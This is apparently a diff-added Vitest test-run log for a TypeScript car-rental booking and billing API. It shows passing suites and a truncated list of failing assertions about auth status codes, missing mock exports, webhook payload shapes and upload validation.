+ ❯ src/tests/api/admin-billing.api.test.ts > admin billing API contracts > streams invoice PDFs with content headers from the service boundary
+ → expected 403 to be 200 // Object.is equality
+ ❯ src/tests/api/admin-billing.api.test.ts > admin billing API contracts > passes parsed account updates with admin identity and request ip
+ → expected 403 to be 200 // Object.is equality
+ ❯ src/tests/api/admin-billing.api.test.ts > admin billing API contracts > rejects malformed draft invoice payloads before invoice creation
+ → expected 403 to be 400 // Object.is equality
+ ✓ src/modules/auth/auth.company.repo.test.ts (1 test) 6ms
+ ✓ src/modules/vehicles/vehicle.repo.edge.test.ts (5 tests) 7ms
+ ✓ src/tests/api/vehicle-pricing.api.test.ts (5 tests) 68ms
+ ✓ src/modules/notifications/notification.repo.edge.test.ts (6 tests) 10ms
+ ✓ src/modules/offers/offer.repo.edge.test.ts (5 tests) 7ms
+ ✓ src/modules/notifications/notification.service.test.ts (4 tests) 5ms
+ ✓ src/modules/companies/company.repo.edge.test.ts (6 tests) 6ms
+ ✓ src/services/amanpayService.test.ts (4 tests) 14ms
+ ✓ src/modules/companies/company.presenter.test.ts (14 tests) 4ms
+ ✓ src/modules/auth/auth.schemas.test.ts (3 tests) 5ms
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts (5 tests | 5 failed) 76ms
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > rejects menu item creation with blank labels before service execution
+ → expected 403 to be 400 // Object.is equality
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > passes normalized menu item creation payload with admin actor
+ → expected 403 to be 201 // Object.is equality
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > rejects invalid menu status bodies before mutation
+ → expected 403 to be 400 // Object.is equality
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > requires admin privileges for menu mutations while support can preview
+ → expected 403 to be 200 // Object.is equality
+ ❯ src/tests/api/admin-menu-boundaries.api.test.ts > admin menu API contracts > coerces audit-log pagination defaults and caps oversized limits
+ → expected 403 to be 200 // Object.is equality
+ ✓ src/modules/reservations/reservation.repo.edge.test.ts (4 tests) 4ms
+ ✓ src/modules/complaints/complaint.service.test.ts (5 tests) 5ms
+ ✓ src/modules/offers/offer.service.test.ts (5 tests) 4ms
+ ✓ src/modules/auth/auth.role-specific-schemas.test.ts (5 tests) 5ms
+ ✓ src/modules/reservations/reservation.presenter.boundary.test.ts (6 tests) 4ms
+ ❯ src/http/errors/errorMiddleware.test.ts (10 tests | 1 failed) 10ms
+ ❯ src/http/errors/errorMiddleware.test.ts > errorMiddleware > falls back to a 500 internal error response
+ → expected "spy" to be called with arguments: [ { error: 'internal_error', …(2) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "error": "internal_error",
+- "message": "boom",
++ "message": "Internal server error",
++ "requestId": undefined,
+ "statusCode": 500,
+ },
+ ]
+
+
+Number of calls: 1
+
+ ✓ src/modules/reservations/reservation.document.service.test.ts (3 tests) 2ms
+ ✓ src/modules/auth/auth.presenter.test.ts (4 tests) 3ms
+ ✓ src/modules/reservations/reservation.photo.service.test.ts (4 tests) 4ms
+ ✓ src/modules/auth/auth.renter.service.test.ts (5 tests) 5ms
+ ✓ src/modules/operations.schemas.test.ts (2 tests) 6ms
+ ✓ src/services/notificationLocalizationService.test.ts (3 tests) 5ms
+stderr | src/services/notificationLocalizationService.test.ts > notificationLocalizationService > falls back to English when a localized template is missing
+[Notifications] Missing ar template for booking.confirmed/EMAIL; falling back to en.
+
+ ❯ src/tests/api/payments.api.test.ts (5 tests | 2 failed) 94ms
+ ❯ src/tests/api/payments.api.test.ts > payments API contract > accepts valid AmanPay webhooks and delegates the exact payload
+ → expected "spy" to be called with arguments: [ { transaction_id: 'txn_1', …(1) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "status": "PAID",
+ "transaction_id": "txn_1",
+ },
++ "{\"transaction_id\":\"txn_1\",\"status\":\"PAID\"}",
+ ]
+
+
+Number of calls: 1
+
+ ❯ src/tests/api/payments.api.test.ts > payments API contract > accepts verified PayPal webhooks and delegates handling
+ → expected "spy" to be called with arguments: [ { …(2) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "event_type": "PAYMENT.CAPTURE.COMPLETED",
+ "resource": Object {
+ "id": "capture_1",
+ },
+ },
++ "{\"event_type\":\"PAYMENT.CAPTURE.COMPLETED\",\"resource\":{\"id\":\"capture_1\"}}",
+ ]
+
+
+Number of calls: 1
+
+ ❯ src/modules/site/site.schemas.test.ts (4 tests | 1 failed) 12ms
+ ❯ src/modules/site/site.schemas.test.ts > site.schemas > rejects malformed availability and payment payloads at the schema layer
+ → [
+ {
+ "code": "invalid_type",
+ "expected": "string",
+ "received": "undefined",
+ "path": [
+ "accessToken"
+ ],
+ "message": "Required"
+ }
+]
+ ✓ src/services/insuranceService.test.ts (2 tests) 4ms
+ ✓ src/tests/api/site-webhook-boundaries.api.test.ts (5 tests) 116ms
+ ✓ src/modules/companies/company.schemas.edge.test.ts (3 tests) 8ms
+ ✓ src/services/additionalDriverService.test.ts (3 tests) 5ms
+ ✓ src/middleware/rateLimiter.test.ts (3 tests) 11ms
+ ✓ src/modules/payments/payment.repo.edge.test.ts (5 tests) 7ms
+ ✓ src/modules/reservations/reservation.schemas.edge.test.ts (3 tests) 7ms
+ ✓ src/lib/storage.test.ts (4 tests) 4ms
+ ❯ src/tests/api/subscriptions.api.test.ts (5 tests | 1 failed) 65ms
+ ❯ src/tests/api/subscriptions.api.test.ts > subscriptions public API > accepts verified PayPal webhooks and delegates handling to the subscription service
+ → expected "spy" to be called with arguments: [ { …(2) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "event_type": "PAYMENT.CAPTURE.COMPLETED",
+ "resource": Object {
+ "id": "capture_1",
+ },
+ },
++ "{\"event_type\":\"PAYMENT.CAPTURE.COMPLETED\",\"resource\":{\"id\":\"capture_1\"}}",
+ ]
+
+
+Number of calls: 1
+
+ ✓ src/modules/complaints/complaint.repo.edge.test.ts (4 tests) 4ms
+ ❯ src/lib/emailTranslations.test.ts (5 tests | 1 failed) 8ms
+ ❯ src/lib/emailTranslations.test.ts > emailTranslations > formats dates with the locale-specific formatter
+ → expected '2 فبراير 2026' to contain '٢٠٢٦'
+ ✓ src/middleware/requireSubscription.test.ts (4 tests) 5ms
+ ✓ src/services/licenseValidationService.test.ts (4 tests) 6ms
+ ✓ src/modules/reviews/review.repo.edge.test.ts (4 tests) 7ms
+ ✓ src/modules/admin/admin.repo.edge.test.ts (3 tests) 8ms
+ ✓ src/modules/subscriptions/subscription.schemas.edge.test.ts (4 tests) 3ms
+ ❯ src/services/platformContentService.test.ts (2 tests | 2 failed) 14ms
+ ❯ src/services/platformContentService.test.ts > platformContentService > returns cloned default homepage content when the file does not exist or cannot be parsed
+ → process.chdir() is not supported in workers
+ → process.chdir() is not supported in workers
+ ❯ src/services/platformContentService.test.ts > platformContentService > saves only the marketplace homepage field while preserving unrelated platform content fields
+ → process.chdir() is not supported in workers
+ → process.chdir() is not supported in workers
+ ✓ src/modules/auth/auth.employee.service.test.ts (2 tests) 659ms
+ ✓ src/services/teamService.test.ts (1 test) 3ms
+ ✓ src/middleware/requireTenant.test.ts (3 tests) 3ms
+ ✓ src/modules/auth/auth.employee.repo.edge.test.ts (5 tests) 7ms
+ ✓ src/tests/api/api-foundation.api.test.ts (6 tests) 79ms
+ ✓ src/swagger/openapi.boundary.test.ts (3 tests) 4ms
+ ✓ src/modules/customers/customer.schemas.contract.test.ts (5 tests) 5ms
+ ❯ src/services/invoicePdfService.test.ts (2 tests | 1 failed) 11ms
+ ❯ src/services/invoicePdfService.test.ts > invoicePdfService > builds stable legacy invoice numbers from the creation year and id suffix
+ → expected 'INV-2026-SHORT' to be 'INV-2027-SHORT' // Object.is equality
+ ✓ src/modules/customers/customer.repo.boundary.test.ts (3 tests) 10ms
+ ✓ src/middleware/authHelpers.test.ts (5 tests) 4ms
+ ✓ src/modules/admin/admin.menu.schemas.test.ts (4 tests) 5ms
+ ✓ src/modules/admin/admin.billing.schemas.test.ts (4 tests) 5ms
+ ✓ src/modules/marketplace/marketplace.schemas.test.ts (4 tests) 8ms
+ ❯ src/tests/e2e/vehicle-pricing-boundaries.e2e.test.ts (1 test | 1 failed) 50ms
+ ❯ src/tests/e2e/vehicle-pricing-boundaries.e2e.test.ts > vehicle pricing e2e boundaries > rejects anonymous and malformed pricing requests without invoking pricing services
+ → expected 401 to be 400 // Object.is equality
+ ✓ src/modules/reservations/reservation.additional-driver.service.test.ts (2 tests) 3ms
+ ✓ src/tests/e2e/operations-validation-smoke.e2e.test.ts (1 test) 53ms
+ ✓ src/tests/e2e/public-validation-smoke.e2e.test.ts (1 test) 109ms
+ ✓ src/modules/subscriptions/subscription.policy.test.ts (4 tests) 5ms
+ ✓ src/modules/site/site.presenter.test.ts (2 tests) 3ms
+ ✓ src/middleware/requireRole.test.ts (3 tests) 4ms
+ ❯ src/http/upload/upload.test.ts (4 tests | 3 failed) 7ms
+ ❯ src/http/upload/upload.test.ts > upload assertions > accepts a single image file and narrows the route input
+ → expected [Function] to not throw an error but 'ValidationError: Unsupported or spoof…' was thrown
+ ❯ src/http/upload/upload.test.ts > upload assertions > rejects non-image single file uploads
+ → expected [Function] to throw error including 'Only image uploads are supported' but got 'Unsupported or spoofed image file'
+ ❯ src/http/upload/upload.test.ts > upload assertions > accepts multiple image files and rejects empty or mixed batches
+ → expected [Function] to not throw an error but 'ValidationError: Unsupported or spoof…' was thrown
+ ✓ src/modules/team/team.service.test.ts (2 tests) 3ms
+ ✓ src/modules/team/team.schemas.edge.test.ts (3 tests) 3ms
+ ✓ src/modules/payments/payment.schemas.edge.test.ts (2 tests) 4ms
+ ✓ src/modules/customers/customer.presenter.test.ts (2 tests) 3ms
+ ✓ src/modules/offers/offer.schemas.edge.test.ts (4 tests) 6ms
+ ✓ src/tests/e2e/customer-boundaries.e2e.test.ts (1 test) 61ms
+ ✓ src/http/respond/respond.test.ts (3 tests) 5ms
+ ✓ src/modules/notifications/notification.schemas.edge.test.ts (3 tests) 5ms
+ ✓ src/modules/admin/admin.service.test.ts (1 test) 3ms
+ ✓ src/modules/complaints/complaint.schemas.edge.test.ts (5 tests) 6ms
+ ✓ src/modules/reservations/reservation.pricing.service.test.ts (3 tests) 2ms
+ ❯ src/tests/e2e/admin-billing-boundaries.e2e.test.ts (1 test | 1 failed) 36ms
+ ❯ src/tests/e2e/admin-billing-boundaries.e2e.test.ts > admin billing e2e boundaries > rejects anonymous billing access and malformed invoice creation without touching services
+ → expected 401 to be 400 // Object.is equality
+ ✓ src/tests/e2e/subscriptions-public.e2e.test.ts (1 test) 64ms
+ ✓ src/modules/reservations/reservation.presenter.test.ts (1 test) 1ms
+ ✓ src/modules/vehicles/vehicle.presenter.edge.test.ts (2 tests) 2ms
+ ✓ src/http/validate/validate.test.ts (3 tests) 7ms
+ ❯ src/tests/e2e/admin-menu-boundaries.e2e.test.ts (0 test)
+ ✓ src/modules/auth/auth.employee.repo.test.ts (2 tests) 2ms
+ ✓ src/tests/e2e/api-smoke.e2e.test.ts (1 test) 58ms
+ ✓ src/modules/admin/admin.presenter.test.ts (3 tests) 2ms
+ ✓ src/tests/e2e/site-webhook-boundaries.e2e.test.ts (1 test) 44ms
+ ✓ src/modules/reviews/review.schemas.edge.test.ts (4 tests) 4ms
+ ✓ src/tests/e2e/storage-boundaries.e2e.test.ts (1 test) 33ms
+ ✓ src/modules/marketplace/marketplace.presenter.test.ts (1 test) 2ms
+ ✓ src/lib/isDatabaseUnavailable.test.ts (3 tests) 2ms
+ ✓ src/modules/analytics/analytics.schemas.edge.test.ts (3 tests) 6ms
+ ✓ src/modules/admin/admin.repo.test.ts (1 test) 3ms
+ ✓ src/tests/e2e/payments-webhook-public.e2e.test.ts (1 test) 29ms
+ ✓ src/tests/e2e/protected-auth-boundaries.e2e.test.ts (1 test) 35ms
+ ✓ src/tests/e2e/operations-auth-boundaries.e2e.test.ts (1 test) 43ms
+ ✓ src/tests/e2e/feedback-offer-boundaries.e2e.test.ts (1 test) 34ms
+ ✓ src/tests/e2e/employee-marketplace-boundaries.e2e.test.ts (2 tests) 40ms
+ ✓ src/tests/e2e/auth-public-disabled.e2e.test.ts (1 test) 27ms
+ ✓ src/tests/e2e/subscription-team-boundaries.e2e.test.ts (1 test) 23ms
+ ✓ src/tests/e2e/company-configuration-boundaries.e2e.test.ts (1 test) 17ms
+
+⎯⎯⎯⎯⎯⎯ Failed Suites 4 ⎯⎯⎯⎯⎯⎯⎯
+
+ FAIL src/tests/api/employee-marketplace-notification.api.test.ts [ src/tests/api/employee-marketplace-notification.api.test.ts ]
+ FAIL src/tests/api/feedback-offer-boundaries.api.test.ts [ src/tests/api/feedback-offer-boundaries.api.test.ts ]
+ FAIL src/tests/api/subscription-team-boundaries.api.test.ts [ src/tests/api/subscription-team-boundaries.api.test.ts ]
+Error: [vitest] No "requireCompanyDocumentAuth" export is defined on the "../../middleware/requireCompanyAuth" mock. Did you forget to return it from "vi.mock"?
+If you need to partially mock a module, you can use "importOriginal" helper inside:
+
+vi.mock("../../middleware/requireCompanyAuth", async (importOriginal) => {
+ const actual = await importOriginal()
+ return {
+ ...actual,
+ // your mocked methods
+ }
+})
+
+ ❯ src/modules/customers/customer.routes.ts:14:34
+ 12| const router = Router()
+ 13|
+ 14| router.get('/:id/license-image', requireCompanyDocumentAuth, requireTe…
+ | ^
+ 15| try {
+ 16| const { id } = parseParams(idParamSchema, req)
+ ❯ src/app.ts:21:32
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/45]⎯
+
+ FAIL src/tests/e2e/admin-menu-boundaries.e2e.test.ts [ src/tests/e2e/admin-menu-boundaries.e2e.test.ts ]
+Error: [vitest] No "requireFreshAdmin2FA" export is defined on the "../../middleware/requireAdminAuth" mock. Did you forget to return it from "vi.mock"?
+If you need to partially mock a module, you can use "importOriginal" helper inside:
+
+vi.mock("../../middleware/requireAdminAuth", async (importOriginal) => {
+ const actual = await importOriginal()
+ return {
+ ...actual,
+ // your mocked methods
+ }
+})
+
+ ❯ src/modules/admin/admin.routes.ts:99:70
+ 97| })
+ 98|
+ 99| router.post('/auth/2fa/recovery-codes/regenerate', requireAdminAuth, r…
+ | ^
+ 100| try {
+ 101| ok(res, await service.regenerateRecoveryCodes(req.admin.id))
+ ❯ src/app.ts:18:32
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[2/45]⎯
+
+⎯⎯⎯⎯⎯⎯ Failed Tests 39 ⎯⎯⎯⎯⎯⎯⎯
+
+ FAIL src/lib/emailTranslations.test.ts > emailTranslations > formats dates with the locale-specific formatter
+AssertionError: expected '2 فبراير 2026' to contain '٢٠٢٦'
+
+- Expected
++ Received
+
+- ٢٠٢٦
++ 2 فبراير 2026
+
+ ❯ src/lib/emailTranslations.test.ts:67:68
+ 65| expect(formatDate(new Date('2026-02-03T00:00:00.000Z'), 'en')).toC…
+ 66| expect(formatDate(new Date('2026-02-03T00:00:00.000Z'), 'fr')).toC…
+ 67| expect(formatDate(new Date('2026-02-03T00:00:00.000Z'), 'ar')).toC…
+ | ^
+ 68| })
+ 69| })
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[3/45]⎯
+
+ FAIL src/services/invoicePdfService.test.ts > invoicePdfService > builds stable legacy invoice numbers from the creation year and id suffix
+AssertionError: expected 'INV-2026-SHORT' to be 'INV-2027-SHORT' // Object.is equality
+
+- Expected
++ Received
+
+- INV-2027-SHORT
++ INV-2026-SHORT
+
+ ❯ src/services/invoicePdfService.test.ts:23:79
+ 21| it('builds stable legacy invoice numbers from the creation year and …
+ 22| expect(buildInvoiceNumber('invoice_abcdef', new Date('2026-06-09T1…
+ 23| expect(buildInvoiceNumber('short', new Date('2027-01-01T00:00:00.0…
+ | ^
+ 24| })
+ 25|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[4/45]⎯
+
+ FAIL src/services/platformContentService.test.ts > platformContentService > returns cloned default homepage content when the file does not exist or cannot be parsed
+ FAIL src/services/platformContentService.test.ts > platformContentService > saves only the marketplace homepage field while preserving unrelated platform content fields
+TypeError: process.chdir() is not supported in workers
+ ❯ src/services/platformContentService.test.ts:19:13
+ 17| tempDir = await mkdtemp(path.join(os.tmpdir(), 'rdg-platform-conte…
+ 18| await import('fs/promises').then((fs) => fs.mkdir(path.join(tempDi…
+ 19| process.chdir(path.join(tempDir, 'apps/api'))
+ | ^
+ 20| })
+ 21|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
+Serialized Error: { code: 'ERR_WORKER_UNSUPPORTED_OPERATION' }
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[5/45]⎯
+
+ FAIL src/services/platformContentService.test.ts > platformContentService > returns cloned default homepage content when the file does not exist or cannot be parsed
+ FAIL src/services/platformContentService.test.ts > platformContentService > saves only the marketplace homepage field while preserving unrelated platform content fields
+TypeError: process.chdir() is not supported in workers
+ ❯ src/services/platformContentService.test.ts:23:13
+ 21|
+ 22| afterEach(async () => {
+ 23| process.chdir(originalCwd)
+ | ^
+ 24| await rm(tempDir, { recursive: true, force: true })
+ 25| vi.resetModules()
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
+Serialized Error: { code: 'ERR_WORKER_UNSUPPORTED_OPERATION' }
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[6/45]⎯
+
+ FAIL src/http/errors/errorMiddleware.test.ts > errorMiddleware > falls back to a 500 internal error response
+AssertionError: expected "spy" to be called with arguments: [ { error: 'internal_error', …(2) } ]
+
+Received:
+
+ 1st spy call:
+
+ Array [
+ Object {
+ "error": "internal_error",
+- "message": "boom",
++ "message": "Internal server error",
++ "requestId": undefined,
+ "statusCode": 500,
+ },
+ ]
+
+
+Number of calls: 1
+
+ ❯ src/http/errors/errorMiddleware.test.ts:95:22
+ 93|
+ 94| expect(res.status).toHaveBeenCalledWith(500)
+ 95| expect(res.json).toHaveBeenCalledWith({ error: 'internal_error', m…
+ | ^
+ 96|
+ 97| spy.mockRestore()
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[7/45]⎯
+
+ FAIL src/http/upload/upload.test.ts > upload assertions > accepts a single image file and narrows the route input
+AssertionError: expected [Function] to not throw an error but 'ValidationError: Unsupported or spoof…' was thrown
+
+- Expected:
+undefined
+
++ Received:
+"ValidationError: Unsupported or spoofed image file"
+
+ ❯ src/http/upload/upload.test.ts:21:47
+ 19| describe('upload assertions', () => {
+ 20| it('accepts a single image file and narrows the route input', () => {
+ 21| expect(() => assertImageFile(file())).not.toThrow()
+ | ^
+ 22| })
+ 23|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[8/45]⎯
+
+ FAIL src/http/upload/upload.test.ts > upload assertions > rejects non-image single file uploads
+AssertionError: expected [Function] to throw error including 'Only image uploads are supported' but got 'Unsupported or spoofed image file'
+
+- Expected
++ Received
+
+- Only image uploads are supported
++ Unsupported or spoofed image file
+
+ ❯ src/http/upload/upload.test.ts:30:103
+ 28|
+ 29| it('rejects non-image single file uploads', () => {
+ 30| expect(() => assertImageFile(file({ mimetype: 'application/pdf', o…
+ | ^
+ 31| })
+ 32|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[9/45]⎯
+
+ FAIL src/http/upload/upload.test.ts > upload assertions > accepts multiple image files and rejects empty or mixed batches
+AssertionError: expected [Function] to not throw an error but 'ValidationError: Unsupported or spoof…' was thrown
+
+- Expected:
+undefined
+
++ Received:
+"ValidationError: Unsupported or spoofed image file"
+
+ ❯ src/http/upload/upload.test.ts:34:102
+ 32|
+ 33| it('accepts multiple image files and rejects empty or mixed batches'…
+ 34| expect(() => assertImageFiles([file({ originalname: 'front.png', m…
+ | ^
+ 35| expect(() => assertImageFiles([], 'inspection photos')).toThrow('A…
+ 36| expect(() => assertImageFiles([
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[10/45]⎯
+
+ FAIL src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > rejects external links that are not HTTPS before any write
+AssertionError: expected AppError: External links must use HTTPS. { …(3) } to match object { statusCode: 400, …(1) }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "code": "validation_error",
+ "statusCode": 400,
+ }
+
+ ❯ src/modules/menu/menu.service.boundary.test.ts:45:5
+ 43|
+ 44| it('rejects external links that are not HTTPS before any write', asy…
+ 45| await expect(createMenuItem({
+ | ^
+ 46| label: 'Docs',
+ 47| itemType: 'EXTERNAL_LINK',
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[11/45]⎯
+
+ FAIL src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > rejects duplicate routes under the same parent with a conflict error
+AssertionError: expected AppError: Parent menu item was not found. { …(3) } to match object { statusCode: 409, …(1) }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "code": "duplicate_menu_route",
+- "statusCode": 409,
++ "statusCode": 400,
+ }
+
+ ❯ src/modules/menu/menu.service.boundary.test.ts:58:5
+ 56| vi.mocked(prisma.menuItem.findFirst).mockResolvedValue({ id: 'item…
+ 57|
+ 58| await expect(createMenuItem({
+ | ^
+ 59| label: 'Fleet',
+ 60| itemType: 'INTERNAL_PAGE',
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[12/45]⎯
+
+ FAIL src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > protects required menu items from non-super-admin disable attempts
+AssertionError: expected AppError: Required system items can only … { …(3) } to match object { statusCode: 403, code: 'forbidden' }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "code": "forbidden",
+ "statusCode": 403,
+ }
+
+ ❯ src/modules/menu/menu.service.boundary.test.ts:121:5
+ 119| vi.mocked(prisma.menuItem.findUniqueOrThrow).mockResolvedValue({ i…
+ 120|
+ 121| await expect(setMenuItemStatus('item_core', false, admin)).rejects…
+ | ^
+ 122|
+ 123| expect(prisma.menuItem.update).not.toHaveBeenCalled()
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[13/45]⎯
+
+ FAIL src/modules/menu/menu.service.boundary.test.ts > menu.service mutation boundaries > rejects company assignments when any company is cancelled or missing
+AssertionError: expected AppError: Menu items can only be assigned… { …(3) } to match object { statusCode: 400, …(1) }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "code": "validation_error",
+ "statusCode": 400,
+ }
+
+ ❯ src/modules/menu/menu.service.boundary.test.ts:149:5
+ 147| vi.mocked(prisma.company.findMany).mockResolvedValue([{ id: 'compa…
+ 148|
+ 149| await expect(assignMenuItemToCompanies('item_1', [
+ | ^
+ 150| { companyId: 'company_1' },
+ 151| { companyId: 'company_cancelled' },
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[14/45]⎯
+
+ FAIL src/modules/site/site.schemas.test.ts > site.schemas > rejects malformed availability and payment payloads at the schema layer
+ZodError: [
+ {
+ "code": "invalid_type",
+ "expected": "string",
+ "received": "undefined",
+ "path": [
+ "accessToken"
+ ],
+ "message": "Required"
+ }
+]
+ ❯ Object.get error [as error] ../../node_modules/zod/v3/types.js:39:31
+ ❯ ZodObject.parse ../../node_modules/zod/v3/types.js:114:22
+ ❯ src/modules/site/site.schemas.test.ts:53:22
+ 51| expect(() => availabilitySchema.parse({ vehicleId: 'not-cuid', sta…
+ 52| expect(() => paySchema.parse({ provider: 'STRIPE', successUrl: 'ht…
+ 53| expect(paySchema.parse({ provider: 'PAYPAL', successUrl: 'https://…
+ | ^
+ 54| })
+ 55|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
+Serialized Error: { issues: [ { code: 'invalid_type', expected: 'string', received: 'undefined', path: [ 'accessToken' ], message: 'Required' } ], addIssue: 'Function', addIssues: 'Function', errors: [ { code: 'invalid_type', expected: 'string', received: 'undefined', path: [ 'accessToken' ], message: 'Required' } ], format: 'Function', isEmpty: false, flatten: 'Function', formErrors: { formErrors: [], fieldErrors: { accessToken: [ 'Required' ] } } }
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[15/45]⎯
+
+ FAIL src/modules/site/site.service.boundary.test.ts > site.service public booking/payment boundaries > calculates booking totals from base rate, free-day promo, pricing rules, insurance and additional drivers
+TypeError: Cannot read properties of undefined (reading 'catch')
+ ❯ Module.createBooking src/modules/site/site.service.ts:223:45
+ 221| }
+ 222| if (body.licenseExpiry) {
+ 223| await validateAndFlagLicense(customer.id).catch(() => null)
+ | ^
+ 224| }
+ 225|
+ ❯ src/modules/site/site.service.boundary.test.ts:107:20
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[16/45]⎯
+
+ FAIL src/modules/site/site.service.boundary.test.ts > site.service public booking/payment boundaries > rejects payment initialization for already-paid reservations before provider calls
+AssertionError: expected AppError: Booking access token is required { …(3) } to match object { statusCode: 409, …(1) }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "code": "already_paid",
+- "statusCode": 409,
++ "statusCode": 403,
+ }
+
+ ❯ src/modules/site/site.service.boundary.test.ts:131:5
+ 129| vi.mocked(repo.findReservationForPayment).mockResolvedValue({ paym…
+ 130|
+ 131| await expect(service.initPayment('atlas', 'reservation_1', {
+ | ^
+ 132| provider: 'AMANPAY',
+ 133| successUrl: 'https://example.test/success',
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[17/45]⎯
+
+ FAIL src/modules/site/site.service.boundary.test.ts > site.service public booking/payment boundaries > blocks payment when the primary or additional driver license requires review
+AssertionError: expected AppError: Booking access token is required { …(3) } to match object { statusCode: 409, …(1) }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "code": "license_review_required",
+- "statusCode": 409,
++ "statusCode": 403,
+ }
+
+ ❯ src/modules/site/site.service.boundary.test.ts:150:5
+ 148| } as never)
+ 149|
+ 150| await expect(service.initPayment('atlas', 'reservation_1', {
+ | ^
+ 151| provider: 'PAYPAL',
+ 152| successUrl: 'https://example.test/success',
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[18/45]⎯
+
+ FAIL src/modules/site/site.test.ts > createBooking > creates a booking and returns reservation with requiresManualApproval flag
+Error: [vitest] No "createReservationPublicAccess" export is defined on the "./site.repo" mock. Did you forget to return it from "vi.mock"?
+If you need to partially mock a module, you can use "importOriginal" helper inside:
+
+vi.mock("./site.repo", async (importOriginal) => {
+ const actual = await importOriginal()
+ return {
+ ...actual,
+ // your mocked methods
+ }
+})
+
+ ❯ Module.createBooking src/modules/site/site.service.ts:227:14
+ 225|
+ 226| const publicAccess = generatePublicAccessToken()
+ 227| await repo.createReservationPublicAccess(
+ | ^
+ 228| reservation.id,
+ 229| publicAccess.tokenHash,
+ ❯ src/modules/site/site.test.ts:175:20
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[19/45]⎯
+
+ FAIL src/modules/site/site.test.ts > initPayment — payment guard paths > throws AppError when reservation is already paid
+AssertionError: expected AppError: Booking access token is required { …(3) } to match object { error: 'already_paid' }
+(3 matching properties omitted from actual)
+
+- Expected
++ Received
+
+ Object {
+- "error": "already_paid",
++ "error": "booking_token_required",
+ }
+
+ ❯ src/modules/site/site.test.ts:211:5
+ 209| vi.mocked(validateLicense).mockReturnValue({ status: 'VALID', requ…
+ 210|
+ 211| await expect(initPayment(SLUG, 'r-1', payBody)).rejects.toMatchObj…
+ | ^
+ 212| })
+ 213|
+
+⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[20/45]⎯
+
+ FAIL src/modules/site/site.test.ts > initPayment — payment guard paths > throws AppError when license review is required
